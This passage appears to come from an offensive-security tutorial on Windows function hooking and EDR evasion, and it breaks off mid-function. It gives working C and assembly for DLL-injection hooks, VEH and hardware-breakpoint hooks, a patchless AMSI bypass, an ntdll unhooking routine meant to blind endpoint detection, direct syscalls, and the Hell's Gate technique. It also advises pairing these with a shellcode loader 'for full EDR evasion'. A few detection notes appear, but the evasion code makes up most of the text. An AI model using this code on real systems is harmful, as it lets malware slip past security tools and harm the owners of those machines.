__declspec(dllexport) LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        // Code runs inside the hooked process!
        // Could spawn thread, inject shellcode, steal data, etc.
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // This runs in every injected process
        MessageBoxA(NULL, "DLL Injected!", "evil.dll", MB_OK);
    }
    return TRUE;
}

Compile evil.dll:

# MSVC
cl.exe /LD evil_dll.c /Fe:evil.dll /link user32.lib

# MinGW
x86_64-w64-mingw32-gcc -shared evil_dll.c -o evil.dll -luser32

[DETECT] Global SetWindowsHookEx calls are logged in ETW. Process injection via this method is well-known and flagged by most EDRs. WH_KEYBOARD_LL and WH_MOUSE_LL are thread-local to the installer and do not require DLL injection.

8.4 CBT Hook — Window Event Monitoring

// WH_CBT hook — intercept window creation events
static HHOOK g_hCBT = NULL;

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HCBT_CREATEWND) {
        HWND hWnd = (HWND)wParam;
        CBT_CREATEWND* pCreate = (CBT_CREATEWND*)lParam;
        wprintf(L"[CBT] Window created: class=%ls title=%ls\n",
                pCreate->lpcs->lpszClass,
                (LPCWSTR)pCreate->lpcs->lpszName);
    }
    if (nCode == HCBT_DESTROYWND) {
        printf("[CBT] Window destroyed: HWND=0x%p\n", (PVOID)wParam);
    }
    return CallNextHookEx(g_hCBT, nCode, wParam, lParam);
}

g_hCBT = SetWindowsHookExW(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
// Use GetCurrentThreadId() for thread-scope CBT hook (no DLL injection)

9. VEH Hooking (Vectored Exception Handler)

[HOOK] VEH (Vectored Exception Handler) hooking uses Windows' exception dispatch mechanism to intercept function calls without modifying function bytes. A breakpoint (hardware or software INT3) is set on the target function. When execution hits it, an exception is raised, caught by the VEH, and redirected to the hook function — all without writing a JMP into the target function's code.

Why VEH hooking is stealthy:

Traditional inline hook:
  Target function bytes: E9 XX XX XX XX   ← JMP → visible to integrity scan

VEH hook:
  Target function bytes: 48 83 EC 28...   ← UNCHANGED (original prologue)
  Hardware breakpoint:   Set in DR0–DR3  ← Debug registers (no memory mod)

  → EDR's function integrity scan sees CLEAN bytes
  → No memory modification at all (with HWBP variant)

9.1 VEH Hook — Software Breakpoint (INT3)

// veh_int3_hook.c — VEH hook using INT3 software breakpoint
#include <Windows.h>
#include <stdio.h>

static PVOID  g_pTarget     = NULL;  // address to hook
static BYTE   g_OrigByte    = 0;     // saved original byte at target
static PVOID  g_VEHHandle   = NULL;  // VEH handler handle

// ── Our "hook" logic — runs inside exception handler ──────────
void OnHookTriggered(PCONTEXT pCtx) {
    // pCtx->Rcx, Rdx, R8, R9 = first 4 args on x64 (Windows calling conv)
    printf("[VEH] Hook triggered! RIP=0x%llx, RCX=0x%llx, RDX=0x%llx\n",
           pCtx->Rip, pCtx->Rcx, pCtx->Rdx);

    // Restore original byte so the real function executes cleanly
    DWORD oldProtect;
    VirtualProtect(g_pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(BYTE*)g_pTarget = g_OrigByte;
    VirtualProtect(g_pTarget, 1, oldProtect, &oldProtect);

    // Set single-step flag so we can re-install the hook after one instruction
    pCtx->EFlags |= 0x100;  // TF (Trap Flag) — triggers EXCEPTION_SINGLE_STEP

    // Do NOT call the original here — let execution continue at g_pTarget
    // (RIP already points to the patched instruction which is now restored)
}

static BOOL g_Reinstall = FALSE;

// ── VEH handler ───────────────────────────────────────────────
LONG CALLBACK VEHHandler(PEXCEPTION_POINTERS pExInfo) {
    PEXCEPTION_RECORD pRec = pExInfo->ExceptionRecord;
    PCONTEXT          pCtx = pExInfo->ContextRecord;

    // Breakpoint at our target
    if (pRec->ExceptionCode == EXCEPTION_BREAKPOINT &&
        pRec->ExceptionAddress == g_pTarget) {
        OnHookTriggered(pCtx);
        g_Reinstall = TRUE;
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    // Single-step: re-install INT3
    if (pRec->ExceptionCode == EXCEPTION_SINGLE_STEP && g_Reinstall) {
        g_Reinstall = FALSE;
        DWORD oldProtect;
        VirtualProtect(g_pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
        *(BYTE*)g_pTarget = 0xCC;   // INT3
        VirtualProtect(g_pTarget, 1, oldProtect, &oldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;  // not ours — pass on
}

void InstallVEHHook(PVOID pTarget) {
    g_pTarget = pTarget;

    // Register VEH — '1' = first in chain (highest priority)
    g_VEHHandle = AddVectoredExceptionHandler(1, VEHHandler);

    // Save original byte and write INT3
    g_OrigByte = *(BYTE*)pTarget;
    DWORD oldProtect;
    VirtualProtect(pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(BYTE*)pTarget = 0xCC;   // INT3 breakpoint
    VirtualProtect(pTarget, 1, oldProtect, &oldProtect);

    printf("[+] VEH INT3 hook installed at 0x%p\n", pTarget);
}

void RemoveVEHHook(void) {
    // Restore original byte
    DWORD oldProtect;
    VirtualProtect(g_pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(BYTE*)g_pTarget = g_OrigByte;
    VirtualProtect(g_pTarget, 1, oldProtect, &oldProtect);

    // Remove VEH
    RemoveVectoredExceptionHandler(g_VEHHandle);
}

int main(void) {
    PVOID pMessageBoxA = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
    InstallVEHHook(pMessageBoxA);

    MessageBoxA(NULL, "Test", "VEH Hook", MB_OK);  // → intercepted

    RemoveVEHHook();
    return 0;
}

10. Hardware Breakpoint Hooks (HWBP)

[HOOK] The cleanest form of VEH hooking. Uses CPU debug registers (DR0–DR3) to set hardware execution breakpoints — no bytes written to memory at all. When execution reaches the address in DR0–DR3, the CPU raises a EXCEPTION_SINGLE_STEP (0x80000004) exception, caught by the VEH.

Why HWBP is preferred for EDR evasion:

Inline hook:     Writes E9 JMP → memory integrity check DETECTS IT
INT3 hook:       Writes 0xCC   → memory integrity check DETECTS IT
HWBP:            Writes NOTHING to memory → integrity check PASSES
                 Sets CPU DR0 register → invisible to memory scanner
                 Max 4 breakpoints per thread (DR0–DR3)

10.1 HWBP Hook — Full C Implementation

// hwbp_hook.c — Hardware breakpoint VEH hook (patchless)
#include <Windows.h>
#include <stdio.h>

// ── Hook configuration ────────────────────────────────────────
static PVOID g_pHookTarget = NULL;   // function to intercept
static PVOID g_VEHHandle   = NULL;

// ── Set hardware breakpoint in current thread's DR0 ───────────
BOOL SetHWBP(PVOID pAddress) {
    CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    if (!GetThreadContext(GetCurrentThread(), &ctx))
        return FALSE;

    ctx.Dr0  = (DWORD_PTR)pAddress;  // set address in DR0
    ctx.Dr7 |= 1;                     // enable DR0 (bit 0 = local enable)
    // Bits 16-17: condition = 00 (execute)
    // Bits 18-19: length    = 00 (1 byte)
    ctx.Dr7 &= ~((DWORD_PTR)0xF << 16);  // clear condition+length for DR0

    return SetThreadContext(GetCurrentThread(), &ctx);
}

// ── Remove hardware breakpoint from DR0 ───────────────────────
BOOL RemoveHWBP(void) {
    CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    if (!GetThreadContext(GetCurrentThread(), &ctx))
        return FALSE;
    ctx.Dr0  = 0;
    ctx.Dr7 &= ~(DWORD_PTR)1;    // clear local enable for DR0
    return SetThreadContext(GetCurrentThread(), &ctx);
}

// ── VEH handler ───────────────────────────────────────────────
LONG CALLBACK HWBPHandler(PEXCEPTION_POINTERS pExInfo) {
    PEXCEPTION_RECORD pRec = pExInfo->ExceptionRecord;
    PCONTEXT          pCtx = pExInfo->ContextRecord;

    if (pRec->ExceptionCode == EXCEPTION_SINGLE_STEP &&
        pRec->ExceptionAddress == g_pHookTarget) {

        printf("[HWBP] Function hit! RIP=0x%llx\n", pCtx->Rip);

        // Arguments on x64: RCX, RDX, R8, R9
        printf("[HWBP] Args: RCX=0x%llx RDX=0x%llx R8=0x%llx\n",
               pCtx->Rcx, pCtx->Rdx, pCtx->R8);

        // Example: intercept AmsiScanBuffer → fake clean result
        // pCtx->Rip = (DWORD64)&ResumeStub;  // redirect elsewhere
        // pCtx->Rcx = ...;                    // modify arg

        // Re-enable DR0 (disabled by single-step)
        pCtx->Dr0  = (DWORD_PTR)g_pHookTarget;
        pCtx->Dr7 |= 1;

        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

void InstallHWBPHook(PVOID pTarget) {
    g_pHookTarget = pTarget;

    // Register VEH as first handler
    g_VEHHandle = AddVectoredExceptionHandler(1, HWBPHandler);

    // Set hardware breakpoint in this thread
    SetHWBP(pTarget);
    printf("[+] HWBP hook installed at 0x%p\n", pTarget);
}

int main(void) {
    PVOID pTarget = GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");

    InstallHWBPHook(pTarget);

    // Allocate memory — NtAllocateVirtualMemory called internally
    PVOID buf = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
    VirtualFree(buf, 0, MEM_RELEASE);

    RemoveVectoredExceptionHandler(g_VEHHandle);
    RemoveHWBP();
    return 0;
}

10.2 HWBP for AMSI Bypass (Patchless)

// Patchless AMSI bypass via HWBP — no memory modification
// Sets DR0 on AmsiScanBuffer, VEH sets AMSI_RESULT_CLEAN in context

#include <Windows.h>

typedef HRESULT (WINAPI *fpAmsiScanBuffer)(
    HAMSICONTEXT, PVOID, ULONG, LPCWSTR, HAMSISESSION, AMSI_RESULT*);

PVOID g_pAmsiScan = NULL;
PVOID g_VEH       = NULL;

LONG CALLBACK AmsiVEH(PEXCEPTION_POINTERS pEx) {
    if (pEx->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP &&
        pEx->ExceptionRecord->ExceptionAddress == g_pAmsiScan) {

        // R9 points to AMSI_RESULT* output parameter
        AMSI_RESULT* pResult = (AMSI_RESULT*)pEx->ContextRecord->R9;
        if (pResult) *pResult = AMSI_RESULT_CLEAN;

        // Redirect RIP to ret stub — skip entire function
        // Find a RET gadget or set to a clean return path
        pEx->ContextRecord->Rip = /* address of a clean RET */ 0;

        // Re-arm HWBP
        pEx->ContextRecord->Dr0  = (DWORD_PTR)g_pAmsiScan;
        pEx->ContextRecord->Dr7 |= 1;

        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void BypassAMSI_HWBP(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    g_pAmsiScan   = GetProcAddress(hAmsi, "AmsiScanBuffer");

    g_VEH = AddVectoredExceptionHandler(1, AmsiVEH);

    CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    GetThreadContext(GetCurrentThread(), &ctx);
    ctx.Dr0  = (DWORD_PTR)g_pAmsiScan;
    ctx.Dr7 |= 1;
    SetThreadContext(GetCurrentThread(), &ctx);
}

[OPSEC] HWBP-based AMSI bypass does not patch amsi.dll bytes. CrowdStrike and other EDRs now monitor for AddVectoredExceptionHandler followed by abnormal EXCEPTION_SINGLE_STEP frequencies (VEH² technique exists to set HWBP silently without calling SetThreadContext directly).


11. Page Guard Hooking

[HOOK] Sets PAGE_GUARD on the memory page containing the target function. Any access to the page raises an EXCEPTION_GUARD_PAGE (0x80000001) exception, caught by the VEH. Useful for monitoring first access or hooking memory-mapped code.

// page_guard_hook.c — Hook via PAGE_GUARD memory protection
#include <Windows.h>
#include <stdio.h>

static PVOID g_pTarget   = NULL;
static DWORD g_OrigProt  = 0;
static PVOID g_VEH       = NULL;

LONG CALLBACK PageGuardVEH(PEXCEPTION_POINTERS pEx) {
    PEXCEPTION_RECORD pRec = pEx->ExceptionRecord;
    PCONTEXT          pCtx = pEx->ContextRecord;

    if (pRec->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        PVOID accessAddr = (PVOID)pRec->ExceptionInformation[1];

        if (accessAddr == g_pTarget) {
            printf("[PAGE GUARD] Function hit at 0x%p\n", g_pTarget);
            printf("[PAGE GUARD] RIP=0x%llx RCX=0x%llx\n",
                   pCtx->Rip, pCtx->Rcx);
        }

        // PAGE_GUARD is automatically removed on first hit — set single-step to re-add
        pCtx->EFlags |= 0x100;  // Trap flag
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    if (pRec->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        // Re-arm the guard page
        DWORD tmp;
        VirtualProtect(g_pTarget, 1, g_OrigProt | PAGE_GUARD, &tmp);
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

void InstallPageGuardHook(PVOID pTarget) {
    g_pTarget = pTarget;
    g_VEH     = AddVectoredExceptionHandler(1, PageGuardVEH);

    VirtualProtect(pTarget, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &g_OrigProt);
    printf("[+] PAGE_GUARD hook at 0x%p\n", pTarget);
}

12. VMT Hooking (Virtual Method Table)

[HOOK] VMT (vtable) hooking targets C++ classes that use virtual functions. Every C++ object with virtual methods has a pointer to a vtable — an array of function pointers. Overwriting an entry in this table redirects all virtual calls on that object to your hook.

// vmt_hook.cpp — VMT hooking example (C++)
#include <Windows.h>
#include <stdio.h>

// ── Simulated target class with virtual method ────────────────
class TargetClass {
public:
    virtual void VirtualMethod(const char* msg) {
        printf("[REAL] VirtualMethod: %s\n", msg);
    }
    virtual ~TargetClass() {}
};

// ── Hook function (same signature as virtual method) ──────────
void HookVirtualMethod(TargetClass* pThis, const char* msg) {
    printf("[VMT HOOK] Intercepted VirtualMethod: %s\n", msg);
    // Optionally: call original via saved pointer
}

// ── VMT hook implementation ───────────────────────────────────
void** g_pOrigVTable     = nullptr;
void** g_pShadowVTable   = nullptr;
void*  g_pOrigVirtMethod = nullptr;

void InstallVMTHook(TargetClass* pObject, int vtableIndex, void* hookFunc) {
    // Get pointer to vtable (first 8 bytes of object on x64)
    void** pVTable = *(void***)pObject;

    // Count vtable entries (walk until we hit null or code guard)
    size_t vtableSize = 0;
    while (pVTable[vtableSize]) vtableSize++;

    // Allocate shadow vtable
    g_pShadowVTable = new void*[vtableSize];
    memcpy(g_pShadowVTable, pVTable, vtableSize * sizeof(void*));

    // Save original and replace entry
    g_pOrigVirtMethod = g_pShadowVTable[vtableIndex];
    g_pShadowVTable[vtableIndex] = hookFunc;

    // Point object's vtable pointer to shadow table
    DWORD oldProtect;
    VirtualProtect(pObject, sizeof(void*), PAGE_READWRITE, &oldProtect);
    *(void***)pObject = g_pShadowVTable;
    VirtualProtect(pObject, sizeof(void*), oldProtect, &oldProtect);

    printf("[+] VMT hook installed at vtable[%d]\n", vtableIndex);
}

int main(void) {
    TargetClass obj;
    obj.VirtualMethod("Before hook");

    InstallVMTHook(&obj, 0, (void*)HookVirtualMethod);

    obj.VirtualMethod("After hook");   // → goes to HookVirtualMethod

    // Restore
    *(void***)&obj = g_pOrigVTable;
    delete[] g_pShadowVTable;
    return 0;
}

[OPSEC] VMT hooking only affects the specific object instance (or class if the vtable is shared). It does not modify code pages — avoids code integrity checks.


13. SSDT Hooking (Kernel Mode)

[HOOK] [RING] Ring 0 — SSDT (System Service Descriptor Table) hooking modifies the kernel's syscall dispatch table. When a user-mode syscall instruction fires, the kernel looks up the function in the SSDT. Replacing an SSDT entry with a kernel rootkit function intercepts all calls to that syscall system-wide — regardless of user-mode hooks or bypasses.

Warning: Kernel Patch Guard (PatchGuard) on Windows 10/11 x64 detects and BSoDs SSDT modification on production systems. Used in research VMs and kernel rootkits.

SSDT Structure:
nt!KiServiceTable (SSDT):
  Index 0:  → NtAccessCheck
  Index 1:  → NtWorkerFactoryWorkerReady
  ...
  Index N:  → NtAllocateVirtualMemory  ← replace with rootkit hook
  ...

Syscall dispatch:
  mov eax, SSN        (System Service Number)
  syscall             → kernel looks up SSDT[SSN] → calls it

SSDT hook replaces:
  SSDT[SSN for NtAllocateVirtualMemory] = &HookNtAllocate

Result: ALL processes in the entire system are hooked
// ssdt_hook.c — Concept (kernel driver, Ring 0 only)
// This requires a kernel driver (.sys file) — NOT user-mode code

#include <ntddk.h>

// Pointer type for NtAllocateVirtualMemory
typedef NTSTATUS (*fpNtAllocVirtMem)(
    HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);

fpNtAllocVirtMem g_OrigNtAlloc = NULL;

NTSTATUS HookNtAllocateVirtualMemory(
    HANDLE ProcessHandle, PVOID* BaseAddress,
    ULONG_PTR ZeroBits, PSIZE_T RegionSize,
    ULONG AllocationType, ULONG Protect) {

    DbgPrint("[SSDT HOOK] NtAllocateVirtualMemory: PID=%llu Size=%llu Prot=0x%X\n",
             (ULONG64)ProcessHandle, *RegionSize, Protect);

    // Block RWX (0x40) allocations
    if (Protect == PAGE_EXECUTE_READWRITE)
        return STATUS_ACCESS_DENIED;

    return g_OrigNtAlloc(ProcessHandle, BaseAddress,
                         ZeroBits, RegionSize, AllocationType, Protect);
}

// Installation would use KeServiceDescriptorTable (x86) or
// find the SSDT via KPCR on x64 (PatchGuard-protected on Win10/11 x64)

Tools for SSDT research:

# WinDbg commands — inspect SSDT
kd> dq nt!KiServiceTable L100       # display SSDT entries
kd> u poi(nt!KiServiceTable + N*8)  # disassemble SSDT entry N
kd> !ssdt                           # WinDbg extension (Volatility has this too)

# Volatility — detect SSDT hooks from memory dump
volatility -f memory.dmp --profile=Win7SP1x64 ssdt

14. Custom Code — Manual Hook Without Libraries

Full end-to-end hook in pure C, no Detours, no MinHook, demonstrating everything from scratch.

14.1 Generic Hook Engine (No Dependencies)

// generic_hook.c — Portable hook engine for x64 Windows
// Supports: install, call original, remove
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>

#define HOOK_PATCH_SIZE  14   // 14-byte far JMP (x64-safe)
#define TRAMPOLINE_SIZE  (HOOK_PATCH_SIZE + 14)  // displaced + jmp back

typedef struct _HOOK_ENTRY {
    PVOID   pTarget;                      // original function
    PVOID   pDetour;                      // hook function
    PVOID   pTrampoline;                  // allocated trampoline
    BYTE    origBytes[HOOK_PATCH_SIZE];   // saved original bytes
    BOOL    bEnabled;
} HOOK_ENTRY;

// ── Build 14-byte far JMP ──────────────────────────────────────
static void BuildFarJMP(BYTE* buf, PVOID dest) {
    buf[0] = 0xFF; buf[1] = 0x25;
    buf[2] = buf[3] = buf[4] = buf[5] = 0x00; // JMP [rip+0]
    *(PVOID*)(buf + 6) = dest;
}

// ── Create a new hook ──────────────────────────────────────────
BOOL HookCreate(HOOK_ENTRY* hook, PVOID pTarget, PVOID pDetour) {
    hook->pTarget  = pTarget;
    hook->pDetour  = pDetour;
    hook->bEnabled = FALSE;

    // Save original bytes
    memcpy(hook->origBytes, pTarget, HOOK_PATCH_SIZE);

    // Allocate executable trampoline near the target (for near-call compat)
    hook->pTrampoline = VirtualAlloc(NULL, TRAMPOLINE_SIZE,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);
    if (!hook->pTrampoline) return FALSE;

    // Copy original bytes to trampoline
    memcpy(hook->pTrampoline, hook->origBytes, HOOK_PATCH_SIZE);

    // Append JMP back to target+HOOK_PATCH_SIZE
    BuildFarJMP((BYTE*)hook->pTrampoline + HOOK_PATCH_SIZE,
                (BYTE*)pTarget + HOOK_PATCH_SIZE);

    return TRUE;
}

// ── Enable hook ───────────────────────────────────────────────
BOOL HookEnable(HOOK_ENTRY* hook) {
    DWORD oldProtect;
    BYTE  patch[HOOK_PATCH_SIZE];
    BuildFarJMP(patch, hook->pDetour);

    VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
                   PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(hook->pTarget, patch, HOOK_PATCH_SIZE);
    VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
                   oldProtect, &oldProtect);

    hook->bEnabled = TRUE;
    return TRUE;
}

// ── Disable hook (restore original bytes) ─────────────────────
BOOL HookDisable(HOOK_ENTRY* hook) {
    DWORD oldProtect;
    VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
                   PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(hook->pTarget, hook->origBytes, HOOK_PATCH_SIZE);
    VirtualProtect(hook->pTarget, HOOK_PATCH_SIZE,
                   oldProtect, &oldProtect);

    hook->bEnabled = FALSE;
    return TRUE;
}

// ── Usage example ─────────────────────────────────────────────
typedef BOOL (WINAPI *fpCreateProcessW)(LPCWSTR,LPWSTR,
    LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,
    LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION);

static HOOK_ENTRY g_HookCreateProcess;
static fpCreateProcessW g_fpOrigCreateProcess;

BOOL WINAPI MyCreateProcessW(LPCWSTR lpApp, LPWSTR lpCmd,
    LPSECURITY_ATTRIBUTES pPA, LPSECURITY_ATTRIBUTES pTA,
    BOOL bInherit, DWORD dwFlags, LPVOID pEnv,
    LPCWSTR lpDir, LPSTARTUPINFOW pSI, LPPROCESS_INFORMATION pPI) {

    wprintf(L"[HOOK] CreateProcessW: %ls %ls\n",
            lpApp ? lpApp : L"(null)", lpCmd ? lpCmd : L"(null)");

    // Call original via trampoline
    return ((fpCreateProcessW)g_HookCreateProcess.pTrampoline)
           (lpApp, lpCmd, pPA, pTA, bInherit, dwFlags,
            pEnv, lpDir, pSI, pPI);
}

int main(void) {
    PVOID pTarget = GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "CreateProcessW");

    HookCreate(&g_HookCreateProcess, pTarget, MyCreateProcessW);
    HookEnable(&g_HookCreateProcess);

    // Test
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    CreateProcessW(L"C:\\Windows\\System32\\notepad.exe",
                   NULL, NULL, NULL, FALSE, 0,
                   NULL, NULL, &si, &pi);
    if (pi.hProcess) {
        WaitForSingleObject(pi.hProcess, 3000);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }

    HookDisable(&g_HookCreateProcess);
    VirtualFree(g_HookCreateProcess.pTrampoline, 0, MEM_RELEASE);
    return 0;
}

15. ntdll Unhooking — Removing EDR Hooks

[EVASION] EDRs install inline hooks in ntdll.dll at process startup to monitor all native API calls. Unhooking replaces the patched bytes with clean originals, effectively blinding the EDR.

15.1 Methods of Obtaining a Clean ntdll

Method 1: From Disk
  → Read ntdll.dll from C:\Windows\System32\ntdll.dll
  → File I/O telemetry → EDR may detect this approach

Method 2: From KnownDlls
  → Read ntdll from \KnownDlls\ntdll.dll (mapped object)
  → Bypasses file I/O monitoring

Method 3: From Suspended Process
  → Create a process in suspended state (EDR hasn't hooked it yet)
  → Read ntdll from the suspended process's memory
  → Fileless — no disk I/O

Method 4: Selective Unhooking
  → Only unhook specific Nt* stubs that are hooked
  → Minimizes footprint vs. full .text section replacement

15.2 ntdll Unhook via Suspended Process (C)

// ntdll_unhook.c — Restore ntdll .text section from a suspended process
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

// ── Get base address of a module in a remote process ──────────
PVOID GetRemoteModuleBase(HANDLE hProcess, LPCWSTR modName) {
    PROCESS_BASIC_INFORMATION pbi = {0};
    NtQueryInformationProcess(hProcess, ProcessBasicInformation,
                              &pbi, sizeof(pbi), NULL);

    // Read PEB from remote process
    PEB peb = {0};
    ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);

    // Read loader data
    PEB_LDR_DATA ldr = {0};
    ReadProcessMemory(hProcess, peb.Ldr, &ldr, sizeof(ldr), NULL);

    // Walk InMemoryOrderModuleList
    LIST_ENTRY* pHead = &((PEB_LDR_DATA*)peb.Ldr)->InMemoryOrderModuleList;
    LIST_ENTRY  entry = {0};
    ReadProcessMemory(hProcess, pHead, &entry, sizeof(entry), NULL);

    LIST_ENTRY* pCurr = entry.Flink;
    while (pCurr != pHead) {
        LDR_DATA_TABLE_ENTRY ldte = {0};
        ReadProcessMemory(hProcess,
                          CONTAINING_RECORD(pCurr, LDR_DATA_TABLE_ENTRY,
                                            InMemoryOrderLinks),
                          &ldte, sizeof(ldte), NULL);

        wchar_t name[260] = {0};
        ReadProcessMemory(hProcess, ldte.FullDllName.Buffer,
                          name, ldte.FullDllName.Length, NULL);

        if (wcsstr(name, modName)) {
            return ldte.DllBase;
        }
        ReadProcessMemory(hProcess, pCurr, &entry, sizeof(entry), NULL);
        pCurr = entry.Flink;
    }
    return NULL;
}

// ── Main unhook routine ───────────────────────────────────────
BOOL UnhookNtdll(void) {
    // 1. Find our hooked ntdll
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;

    // 2. Spawn calc.exe suspended — its ntdll is clean (not yet hooked by EDR)
    STARTUPINFOW si   = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    if (!CreateProcessW(L"C:\\Windows\\System32\\calc.exe",
                        NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED,
                        NULL, NULL, &si, &pi)) {
        printf("[-] Failed to spawn suspended process: %lu\n", GetLastError());
        return FALSE;
    }

    // 3. Get ntdll base in remote (clean) process
    PVOID pRemoteNtdll = GetRemoteModuleBase(pi.hProcess, L"ntdll.dll");
    if (!pRemoteNtdll) {
        TerminateProcess(pi.hProcess, 0);
        return FALSE;
    }

    // 4. Parse local ntdll to find .text section
    PIMAGE_DOS_HEADER pDOS = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS pNT  = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDOS->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNT);

    for (WORD i = 0; i < pNT->FileHeader.NumberOfSections; i++, pSec++) {
        if (strncmp((char*)pSec->Name, ".text", 5) != 0) continue;

        SIZE_T  textSize = pSec->Misc.VirtualSize;
        PVOID   pLocal   = (PVOID)((BYTE*)hNtdll + pSec->VirtualAddress);
        PVOID   pRemote  = (PVOID)((BYTE*)pRemoteNtdll + pSec->VirtualAddress);

        // 5. Allocate buffer for clean .text section
        PBYTE pCleanText = (PBYTE)VirtualAlloc(NULL, textSize,
                                               MEM_COMMIT, PAGE_READWRITE);
        if (!pCleanText) break;

        // 6. Read clean .text from suspended process
        SIZE_T bytesRead = 0;
        ReadProcessMemory(pi.hProcess, pRemote, pCleanText, textSize, &bytesRead);

        // 7. Overwrite hooked .text with clean bytes
        DWORD oldProtect;
        VirtualProtect(pLocal, textSize, PAGE_EXECUTE_READWRITE, &oldProtect);
        memcpy(pLocal, pCleanText, textSize);
        VirtualProtect(pLocal, textSize, oldProtect, &oldProtect);

        VirtualFree(pCleanText, 0, MEM_RELEASE);

        printf("[+] ntdll.dll .text section unhooked (%zu bytes)\n", textSize);
        break;
    }

    // 8. Kill the helper process
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

int main(void) {
    UnhookNtdll();
    // From here — NtAllocateVirtualMemory, NtCreateThreadEx etc. are clean
    // EDR's user-mode hooks are gone
    return 0;
}

15.3 Compile & Use

# Compile
cl.exe ntdll_unhook.c /Fe:ntdll_unhook.exe /link ntdll.lib

# Or MinGW
x86_64-w64-mingw32-gcc ntdll_unhook.c -o ntdll_unhook.exe -lntdll

# After running — NtAllocateVirtualMemory / NtCreateThreadEx are unhooked
# Combine with your shellcode loader for full EDR evasion

[DETECT] EDRs can detect unhooking by: monitoring ReadProcessMemory of suspended processes, detecting .text section replacement via guard pages, or re-hooking ntdll after a short interval.


16. Direct & Indirect Syscalls

[EVASION] Instead of calling ntdll stubs (which may be hooked), issue syscalls directly from your own code. The kernel receives the call with no user-mode hook in the path.

16.1 Direct Syscall — x64 Assembly (MASM)

; direct_syscall.asm — Direct NtAllocateVirtualMemory syscall
; Assemble: ml64.exe /c direct_syscall.asm
; Link: link.exe ... direct_syscall.obj

.code

; NTSTATUS NtAllocVirtMem_Direct(
;   HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG)
; SSN (System Service Number) for NtAllocateVirtualMemory = 0x18 (Win10 2004+)
; SSN changes between Windows versions — use dynamic resolution in production

NtAllocVirtMem_Direct PROC
    mov r10, rcx        ; standard x64 syscall setup
    mov eax, 18h        ; SSN for NtAllocateVirtualMemory (Win10 x64)
    syscall             ; jump to kernel — bypasses ntdll hooks entirely
    ret
NtAllocVirtMem_Direct ENDP

END
// direct_syscall.c — Use the direct syscall stub
#include <Windows.h>
#include <winternl.h>

// Declare the externally assembled function
extern NTSTATUS NtAllocVirtMem_Direct(
    HANDLE Process, PVOID* BaseAddress, ULONG_PTR ZeroBits,
    PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);

int main(void) {
    PVOID  base = NULL;
    SIZE_T size = 0x1000;

    NTSTATUS status = NtAllocVirtMem_Direct(
        GetCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (NT_SUCCESS(status))
        printf("[+] Direct syscall alloc: 0x%p\n", base);

    return 0;
}

16.2 Dynamic SSN Resolution (Hell's Gate technique)

// hells_gate.c — Dynamically resolve SSN from ntdll on disk
// Avoids hardcoded SSNs that differ between Windows versions

#include <Windows.h>
#include <stdio.h>

// ── Parse ntdll from disk to get clean SSN ────────────────────
DWORD GetSyscallNumber(LPCSTR funcName) {
    // Map ntdll from disk (avoids in-memory hooks)
